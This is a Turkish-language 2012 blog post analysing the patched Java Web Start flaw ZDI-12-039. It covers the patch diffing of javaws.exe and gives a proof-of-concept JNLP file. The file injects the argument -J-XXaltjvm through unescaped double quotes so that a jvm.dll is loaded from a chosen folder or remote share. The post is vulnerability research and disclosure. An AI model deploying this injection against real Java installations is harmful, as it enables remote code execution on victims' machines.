Friday, February 24, 2012

Java Web Start Cmd Arg Injection

ZDI(ZDI-12-039)[1] tarafından bildirilen ve Oracle Şubat CPU ile Java Web Start'ı etkileyen bir zafiyet yamalandı. Zafiyet kısaca daha önce bir benzerini[2] gördüğümüz türden komut satırı argumanlarina mudahele edebiliyoruz. İlgili zafiyetin PoC kodunu yazmak icin ilk olarak JRE 1.6 u30 versiyonunu sisteme kurdum. javaws.exe'nin bir yedegini aldim ve JRE'yi guncelledim. javaws.exe versiyonu 6.0.300.12, guncellenmis versiyon ise 6.0.310.5. Hemen bir patch diff islemi uyguladim. Patch diff islemi icin onceden PatchDiff2 ve Turbodiff gibi yazilimlardan yararlaniyordum fakat DarunGrim3'e bir sans verdim, inanilmaz derecede sureci kolaylastirmis ve hizlandirmis, kullanmak isteyenlere tavsiye ederim. Ayrıca gozu bozmayan, "hacker dostu" bir web arayuzude var :> www.darungrim.org adresinden indirebilirsiniz. Neyse analize gecelim..


Java Web Start'ta export edilen tek bir fonksiyon var o da "start". Bu fonksiyon/sub-rutin bir dizi islemden sonra WinMain fonksiyonunu cagiriyor ve oradan da sub_401AAC sub-rutin'ine dogru akis yon degistiriyor. sub_401AAC javaw.exe tarafindan calistirilacak komut satiri argumanlarinin parse edildigi fonsiyon. Bu fonksiyon gercekten cok buyuk ve bircok dongu islemleri icerdigi icin ona pek fazla deginmeyecegim.

xrefs to sub_401AAC
Bu fonksiyon JNLP dosyasını parse edip ilgili parametrelerle arguman stringi oluşturuyor ve bu argumanlar javaw.exe sureci baslatiliyor. Java Web Start'ın numarası kısaca bu sekilde.



Advisory[1]'de belirtildigi gibi JNLP dosyasındaki java-vm-args parametresi çift tırnak (") karakterini denetlemedigi için arguman enjekte etmek mumkun. JNLP dosyalarında java-vm-args parametresi <resources> tagı içerisindeki <j2se> taglarında yer almakta. <j2se> tagı kısaca aciklanacak olursa spesifik Java versiyonlarina ozel bir takim JVM heap degerleri vermeyi sagliyor vs..

Ornek bir JNLP dosyasi asagidaki gibi olabilir.
example2.jnlp :
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="http://localhost/j/h0h0" href="example2.jnlp">
<information>
<title>lol</title>
</information> 
<resources>
<jar href="example.jar"/>
<j2se version="1.6+" java-vm-args='-esa' max-heap-size='16m' initial-heap-size='16m'/>
</resources>
<application-desc main-class="Example"/>
</jnlp>

Patch diff islemi sonucunda farkettim ki cok fazla bir fonksiyonda degisiklik yapilmamis. Bu gercekten iyi birsey, ms11-100 patch diff isleminde bunun cilesini baya cekmistim. Forms Authentication Bypass, Cache vs.. birbiri ile ilgili bir kac bug birden patch edilmisti ve tespiti zordu.


Yukaridaki ekran goruntusu 6.0.310.5 yani Subat CPU paketi ile guncellenmis versiyona ait javaws.exe. Kirmizi kisimlar daha once olmayip ilgili fonksiyona eklenmiş ekstra kodlar anlamına geliyor. 22h yani cift tirnak karakteri icin kontroller (cmp byte ptr [edx+eax], 22h vs..) eklenmis.

Az once vermis oldugum ornek JNLP dosyasi uzerinden bir PoC olusturdum. <j2se> taginin parametrelerini kurcalayarak sonuca ulastim. JNLP argumanlarinin cift tirnak icinde tutuldugu string'in disina kacip asil javaw.exe process'ine ait argumanlara veri enjekte edebilmek icin bircok deneme yaptim. Sonuc olarak asagidaki gibi bir PoC ile komut calistirmak mumkun, exploit'ini malesef paylasmiyorum zira "Java, günümüzde 4,5 milyarı aşkın aygıta güç katmaktadır.." eheh [3]. Ugrasmak isteyenlere yardimci olacak bir ipucu; SysInternals Process Explorer gibi bir yazilim kullanarak JavaWS tarafindan baslatilan javaw.exe surecinin hangi komut satiri argumanlari ile baslatildigina kolayca bakabilirsiniz, debugging vs.. ihtiyaciniz kalmaz.

PoC:
<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" codebase="http://localhost/j/h0h0" href="example2.jnlp">
<information>
<title>lol</title>
</information>
<resources>
<jar href="example.jar"/>
<j2se version="1.6+" java-vm-args='-esa -Dsun.java2d.noddraw=true"' max-heap-size='16m" -J-XXaltjvm=C:\xxx "' initial-heap-size='16m'/>
</resources>
<application-desc main-class="Example"/>
</jnlp>

Baslatilacak javaw.exe'ye arguman olarak daha once Ruben Santamarta'nın bahsetmis oldugu -J-XXaltjvm argumanini kullandim.


JRE C:\xxx klasorunde jvm.dll dosyasi var mi diye bir bakacak, varsa calistiracak. C:\xxx yerine bir paylasim klasoru ekleseydim \\IP\x gibi ve o klasorde de jvm.dll dosyasi olsaydi ne olacakti peki? eheh guzel olurdu herhalde :>

[EDIT] Aciga ait metasploit modulude yayinlanmis, o halde bende paylasabilirim. :> C:\xxx yerine \ip\xxx yazip xxx klasorunu paylasima acmak yeterli. Icerisinde jvm.dll adinda bir dosya varsa calistirilacak.





[1] http://www.zerodayinitiative.com/advisories/ZDI-12-039/
[2] http://seclists.org/fulldisclosure/2010/Apr/119
[3] http://www.java.com/tr/about/
[4] http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1

No comments:

Post a Comment